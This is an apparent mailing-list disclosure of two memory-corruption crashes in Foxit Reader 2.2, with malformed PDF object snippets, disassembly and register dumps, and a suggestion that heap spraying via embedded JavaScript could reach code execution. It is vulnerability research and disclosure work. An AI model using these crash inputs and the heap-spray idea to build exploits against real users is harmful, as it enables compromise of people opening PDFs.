Foxit Reader 2.2 two potentially exploitable bugs

[j.v.vallejo () gmail com]

Hi all,

I would like to post here some 
problems that i found in Foxit 
Reader 2.2 software. 

I sent to the company support 
two depthly detailed descriptions 
about these bugs with both pdfs 
causing them. The answer 
from the company was:

"Hello.
 
Both Foxit Reader and Adobe Reader cannot open the files you send us.
These files have been damaged.
Thanks much."

I downloaded the foxit reader 2.2 
software today to test the pdf 
files again. The crashses continue 
there. The company seems to be not 
very interested on these reports. 
I hope these descriptions that 
i will post here was interesting 
for anyone.

Analysis 1:
-----------
http://www.vallejo.cc/proyectos/foxitreader1.htm

Autor:  Javier Vicente Vallejo
Web: www.vallejo.cc

Abstract

Foxit Reader 2.2 is prone to a 
vulnerability when a malformed 
pdf is parsed. 

Affcted versions

Tested with Foxit Reader 2.2, 
Windows XP Media Center Sp2. 

Analysis

The vulnerability occurs when 
a malformed /ExtGState resource 
is parsed. In this case the ExtGState 
resource was supplanted with a /Font 
resource, but the type of the resource 
continued being ExtGState:

261 0 obj
<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] 
/ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>
endobj

7 0 obj
<</FirstChaaa 1
/Type /Funt /FontDescriptor  23 0 R
/BaseFont /xxxxxxxxxxxxxxxxoman,Italic
/Subtype /TrueType
/Encoding /WinAnsiEncoding
/LaitChar 211
/Wodths [    ]
> >
endobj

23 0 obj
<</zzz9ðE /oooooo>>
endobj 

Under these conditions it seems Foxit 
allocates differents structures waiting 
to complete that memory with the content 
of the /ExtGState resource. However 
when it finds fields associated with 
a /Font resource, it tries to parse 
them anyway, and it completes the memory 
for that structures with incorrect 
data. This situation occurs because some 
functions (mainly the one located at 
address 0x4d1ed0) are common functions 
to parse any type of field for any type 
of resource. So, when some fields of 
a /Font dictionary are found under 
a /ExtGState resource, the fields are 
read and interpreted, and the allocated 
structures are filled with incorrect data.

This facts cause different errors in 
the execution. For example, this code:
 
004A6E04   C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0
004A6E0C   0F84 9A000000    JE foxit_re.004A6EAC
004A6E12   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
004A6E15   48               DEC EAX
004A6E16   83F8 08          CMP EAX,8
004A6E19   0F87 8D000000    JA foxit_re.004A6EAC
004A6E1F   FF2485 BC6E4A00  JMP DWORD PTR DS:[EAX*4+4A6EBC]

The instruction mov eax,[ecx+8].  
Ecx+8 should contain a valid pointer, 
but the content of that memory is the
 value of the first name of the 
 dictionary of the object 23 0 obj. 
 We can control this value so we 
 can control [ecx+8], for example.

Modifying this dictionary name 
with different values we find 
crashes and invalid access at 
different EIP. For example with 
names with length under 8, it 
uses the last bytes of the name 
as a pointer at EIP = 0x4A6EE7. 
With larger names it completes
the structure in a different 
way and the behaviour is 
different.

23 0 obj
<</zzzzzzz /oooooo>>
endobj 

004A6EE7   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
004A6EEA   83E8 02          SUB EAX,2
004A6EED   74 23            JE SHORT foxit_re.004A6F12
004A6EEF   83E8 07          SUB EAX,7
004A6EF2   75 14            JNZ SHORT foxit_re.004A6F08
004A6EF4   8B41 14          MOV EAX,DWORD PTR DS:[ECX+14]
004A6EF7   8B49 10          MOV ECX,DWORD PTR DS:[ECX+10]
004A6EFA   50               PUSH EAX
004A6EFB   E8 20200000      CALL foxit_re.004A8F20

The code involved in this 
vulnerability is complex, lot of 
FPU and mathematical operations, 
etc... It is difficult to find
correct values to exploit the 
vulnerability, however i think 
it is possible to exploit it by 
choosing some appropiated values 
for the input dictionaries and 
using heap spraying to facilitate 
the shellcode execution (heap 
spraying could be possible using 
javascript embedded into the own 
pdf file. The supplied pdf file 
uses javascript with some /Annots 
events so we can do heap spraying 
before the crash occured).

Analysis 2:
-----------
http://www.vallejo.cc/proyectos/foxitreader2.htm

Autor:  Javier Vicente Vallejo
Web: www.vallejo.cc

Abstract

Foxit Reader 2.2 is prone to a 
vulnerability when a malformed 
pdf is parsed. 

Affcted versions

Tested with Foxit Reader 2.2, 
Windows XP Media Center Sp2. 

Analysis

The vulnerability occurs when a 
page with a malformed /XObject 
resource is rotated (it works 
if we add the /Rotate field 
to the page too).

4 0 obj
<< /Type /Page
/Parent 3 0 R
/Rotate 170
/Contents [ 25 0 R ]
/Resources <<
/ProcSet [ /PDF /Text /ImageB /ImageC ]
/XObject <</Im23 23 0 R>>/Font << /TT3 33 0 R  >>>>
> >
endobj

23 0 obj
<</Length 11643/Filter/DCTDecode/Width -28986631481/Height 5/BitsPerComponent 
8/ColorSpace/DeviceRGB/Type/#6eject/Name/?#4825#6#25n#00°#6e#6en#25n#72Â&#402;É#25n&#8482;#r3/Subtype/Image>>
stream
........................
endstream
endobj

 
By modifying the values of width 
and height fields, Foxit performs 
invalid write memory access to 
different memory addresses:

For example, 
At EIP=51b896, width=-28986631481, height=5:

0051B88F   8B4C24 20        MOV ECX,DWORD PTR SS:[ESP+20]
0051B893   83C4 04          ADD ESP,4
0051B896   89443E 08        MOV DWORD PTR DS:[ESI+EDI+8],EAX (eax=0x0,esi=0x10c7fd8,edi=0x26f0020)
0051B89A   8B4424 10        MOV EAX,DWORD PTR SS:[ESP+10]
0051B89E   43               INC EBX
0051B89F   83C1 04          ADD ECX,4

At EIP=0x51b799, witdth=-87146603762, height=5:

0051B799   8937             MOV DWORD PTR DS:[EDI],ESI
0051B79B   7E 08            JLE SHORT FOXITR~1.0051B7A5
0051B79D   8977 04          MOV DWORD PTR DS:[EDI+4],ESI
0051B7A0   E9 1C010000      JMP FOXITR~1.0051B8C1
0051B7A5   DB4424 14        FILD DWORD PTR SS:[ESP+14]

...
witdth=-87146603762 EIP=51b799 write->4994e93c eax=0 ecx=c1a4027f edx=f5a60633 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 
edi=4994e93c
witdth=-69826555658 EIP=51b799 write->a82df00 eax=0 ecx=c181027f edx=fdc5c868 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 
edi=a82df00
witdth=-56992150114 EIP=51b799 write->16a509d8 eax=0 ecx=c194027f edx=fac27dcc ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 
edi=16a509d8
witdth=-65571130766 EIP=51b799 write->1419ad20 eax=0 ecx=c192027f edx=fb62d4f6 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 
edi=1419ad20
witdth=-28986631481 EIP=51b896 write->37b8000 eax=0 ecx=10c7fd8 edx=0 ebx=431ff6 esp=13ef18 ebp=13ef74 esi=10c7fd8 
edi=26f0020
witdth=-87146603762 EIP=51b799 write->497cd994 eax=0 ecx=c1a4027f edx=f5ac0a15 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 
edi=497cd994
...


With paimei framework and a py 
script for randomizing the witdth, 
i have got multiple invalid read 
and write operations to completely 
different memory addresses.

I have not exploited the vulnerability 
yet, but it seems possible to exploit it.